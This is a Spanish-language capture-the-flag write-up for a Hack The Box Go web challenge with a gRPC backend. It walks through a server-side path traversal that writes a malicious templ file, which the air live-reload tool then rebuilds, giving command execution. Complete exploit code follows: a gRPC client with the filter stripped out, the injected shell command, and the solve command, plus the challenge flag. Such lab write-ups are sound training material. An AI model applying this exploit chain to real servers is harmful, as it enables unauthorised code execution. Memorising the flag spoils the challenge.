Testimonial
6 minutos de lectura
Se nos proporciona el siguiente sitio web:
Además, tenemos un endpoint de gRPC en 94.237.58.102:53551
.
También se nos proporciona el código fuente del proyecto en Go.
Análisis del código fuente
Este es el archivo principal (main.go
):
package main
import (
"embed"
"htbchal/handler"
"htbchal/pb"
"log"
"net"
"net/http"
"github.com/go-chi/chi/v5"
"google.golang.org/grpc"
)
//go:embed public
var FS embed.FS
func main() {
router := chi.NewMux()
router.Handle("/*", http.StripPrefix("/", http.FileServer(http.FS(FS))))
router.Get("/", handler.MakeHandler(handler.HandleHomeIndex))
go startGRPC()
log.Fatal(http.ListenAndServe(":1337", router))
}
type server struct {
pb.RickyServiceServer
}
func startGRPC() error {
lis, err := net.Listen("tcp", ":50045")
if err != nil {
log.Fatal(err)
}
s := grpc.NewServer()
pb.RegisterRickyServiceServer(s, &server{})
if err := s.Serve(lis); err != nil {
log.Fatal(err)
}
return nil
}
Como se puede ver, utiliza un controlador para administrar las peticiones HTTP (handler/home.go
):
package handler
import (
"htbchal/client"
"htbchal/view/home"
"net/http"
)
func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
customer := r.URL.Query().Get("customer")
testimonial := r.URL.Query().Get("testimonial")
if customer != "" && testimonial != "" {
c, err := client.GetClient()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
if err := c.SendTestimonial(customer, testimonial); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
}
return home.Index().Render(r.Context(), w)
}
Este endpoint usa una función SendTestimonial
de un cliente de gRPC (client/client.go
):
package client
import (
"context"
"fmt"
"htbchal/pb"
"strings"
"sync"
"google.golang.org/grpc"
)
var (
grpcClient *Client
mutex *sync.Mutex
)
func init() {
grpcClient = nil
mutex = &sync.Mutex{}
}
type Client struct {
pb.RickyServiceClient
}
func GetClient() (*Client, error) {
mutex.Lock()
defer mutex.Unlock()
if grpcClient == nil {
conn, err := grpc.Dial(fmt.Sprintf("127.0.0.1%s", ":50045"), grpc.WithInsecure())
if err != nil {
return nil, err
}
grpcClient = &Client{pb.NewRickyServiceClient(conn)}
}
return grpcClient, nil
}
func (c *Client) SendTestimonial(customer, testimonial string) error {
ctx := context.Background()
// Filter bad characters.
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
return err
}
Y este cliente se conecta al endpoint del servidor gRPC, que se gestiona con grpc.go
:
package main
import (
"context"
"errors"
"fmt"
"htbchal/pb"
"os"
)
func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
if req.Customer == "" {
return nil, errors.New("Name is required")
}
if req.Testimonial == "" {
return nil, errors.New("Content is required")
}
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
if err != nil {
return nil, err
}
return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}
Por lo tanto, podemos usar este sitio web para escribir testimonios. Estos testimonios se envían a través de HTTP, pero por detrás, el controlador HTTP llama a un cliente gRPC para enviar el testimonio al servidor gRPC.
Explotación
Podemos ver que el servidor gRPC guarda el archivo con la siguiente instrucción:
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
if err != nil {
return nil, err
}
Controlamos la variable req.Customer
, para que podamos usar una navegación de directorios para escribir el testimonio (req.Testimonial
) en una ruta arbitraria del sistema de archivos.
El problema es que el cliente gRPC aplica un filtro muy estricto:
func (c *Client) SendTestimonial(customer, testimonial string) error {
ctx := context.Background()
// Filter bad characters.
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
return err
}
Sin embargo, no necesitamos evitar el filtro. El problema aquí es que el filtro está en el cliente, no en el servidor. Por lo tanto, simplemente podemos usar nuestro propio cliente gRPC para enviar un payload malicioso al servidor, ya que el puerto gRPC está abierto.
Entonces, ¿qué podemos escribir?
Escritura de archivos arbitrarios
Sabemos por el entrypoint.sh
que el nombre de archivo de la flag es aleatorio, por lo que necesitamos lograr ejecución remota de comandos:
#!/bin/sh
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
# Secure entrypoint
chmod 600 /entrypoint.sh
# Start application
air
Aquí también tenemos un punto clave, que es air. Esta es una herramienta que permite que la recarga en vivo para los proyectos en Go, por lo que se reinicia el servidor cada vez que se modifica un archivo de Go. Con esto, podemos hacer muchas cosas.
Por ejemplo, intentaremos ejecutar el siguiente comando:
cat /fl* > /challenge/public/testimonials/flag.txt
Hay un archivo de configuración de air
(.air.toml
):
root = "."
tmp_dir = "tmp"
[build]
bin = "./tmp/main"
cmd = "templ generate && go build -o ./tmp/main ."
delay = 20
exclude_dir = ["assets", "tmp", "vendor"]
exclude_file = []
exclude_regex = [".*_templ.go"]
exclude_unchanged = false
follow_symlink = false
full_bin = ""
include_dir = []
include_ext = ["tpl", "tmpl", "templ", "html"]
kill_delay = "0s"
log = "build-errors.log"
send_interrupt = false
stop_on_error = true
[color]
app = ""
build = "yellow"
main = "magenta"
runner = "green"
watcher = "cyan"
[log]
time = false
[misc]
clean_on_exit = false
Aquí vemos que observa cambios en los archivos con extensión tpl
, tmpl
, templ
o html
, por lo que podemos simplemente modificar una plantilla como views/home.templ
y agregar el comando anterior:
package layout
// import "htbchal/view/ui"
import "os/exec"
func exploit() string {
exec.Command("/bin/sh", "-c", "cat /fl* > /challenge/public/testimonials/flag.txt").Run()
return ""
}
templ App(nav bool) {
{exploit()}
<!DOCTYPE html>
<html lang="en">
<head>
<title>Official website of the Fray</title>
<meta charset="UTF-8"/>
<link rel="stylesheet" href="/public/css/main.css"/>
<link rel="stylesheet" href="/public/css/bootstrap.min.css"/>
<script type="text/plain" src="/public/bootstrap.min.js"></script>
</head>
{ children... }
</html>
}
Ahora podemos crear este archivo principal (solve.go
):
package main
import (
"htbchal/client"
)
func main() {
c, _ := client.GetClient()
c.SendTestimonial("../../view/layout/app.templ", `package layout
// import "htbchal/view/ui"
import "os/exec"
func exploit() string {
exec.Command("/bin/sh", "-c", "cat /fl* > /challenge/public/testimonials/flag.txt").Run()
return ""
}
templ App(nav bool) {
{exploit()}
<!DOCTYPE html>
<html lang="en">
<head>
<title>Official website of the Fray</title>
<meta charset="UTF-8"/>
<link rel="stylesheet" href="/public/css/main.css"/>
<link rel="stylesheet" href="/public/css/bootstrap.min.css"/>
<script type="text/plain" src="/public/bootstrap.min.js"></script>
</head>
{ children... }
</html>
}
`)
}
Y copiar el archivo client/client.go
, pero eliminando las verificaciones:
package client
import (
"context"
"fmt"
"htbchal/pb"
"os"
"sync"
"google.golang.org/grpc"
)
var (
grpcClient *Client
mutex *sync.Mutex
)
func init() {
grpcClient = nil
mutex = &sync.Mutex{}
}
type Client struct {
pb.RickyServiceClient
}
func GetClient() (*Client, error) {
mutex.Lock()
defer mutex.Unlock()
if grpcClient == nil {
conn, err := grpc.Dial(fmt.Sprintf(os.Args[1]), grpc.WithInsecure())
if err != nil {
return nil, err
}
grpcClient = &Client{pb.NewRickyServiceClient(conn)}
}
return grpcClient, nil
}
func (c *Client) SendTestimonial(customer, testimonial string) error {
ctx := context.Background()
// Filter bad characters.
// for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
// customer = strings.ReplaceAll(customer, char, "")
// }
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
return err
}
Flag
En este punto, simplemente ejecutamos el proyecto en Go:
$ go run solve.go 94.237.58.102:53551
Y veremos la flag en el sitio web:
HTB{w34kly_t35t3d_t3mplate5_n0t_s4f3_4t_411}